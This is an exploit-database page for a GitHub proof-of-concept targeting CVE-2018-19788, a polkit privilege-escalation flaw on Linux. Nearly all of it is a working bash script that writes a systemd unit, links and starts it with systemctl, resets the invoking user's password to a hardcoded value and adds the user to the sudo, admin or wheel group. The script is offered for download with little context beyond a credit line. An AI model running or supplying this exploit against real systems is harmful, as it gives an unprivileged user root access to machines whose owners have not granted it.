Exploit database

GH-d48cf67c78a165d3b09b70e75525c3bd

d4gh0s7/cve-2018-19788

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-19788

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
d4gh0s7/cve-2018-19788Revision 405e1ab1d8de

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

files/CVE-2018-19788-PoC.sh

Shell · 900 bytes
#!/bin/bash
set -e

command_exists() {
    command -v "$@" > /dev/null 2>&1
}

# PoC for CVE-2018-19788
prepare() {
    privileged_group=$([ -f /etc/lsb-release ] && echo "sudo" \
        || [ -f /etc/debian_version ] && echo "admin" \
        || echo "wheel")

	cat >woot.service<<EOF
	[Unit]
	Description=Woot
	[Service]
	Type=notify
	ExecStart=/bin/bash -c "echo \$(id)|tee $(pwd)/CVE-2018-19788 && echo h3lL0_-w0r7D | passwd $(whoami) --stdin && /bin/gpasswd --add $(whoami) $privileged_group"
	KillMode=process
	Restart=on-failure
	RestartSec=42s
	[Install]
	WantedBy=multi-user.target
EOF
}

exploit() {

    prepare

    if command_exists systemctl; then
    (
        set -x
        systemctl link $PWD/woot.service
        systemctl start woot
    ) || true
    fi
}

exploit

# Inspired by @mirchr
# https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh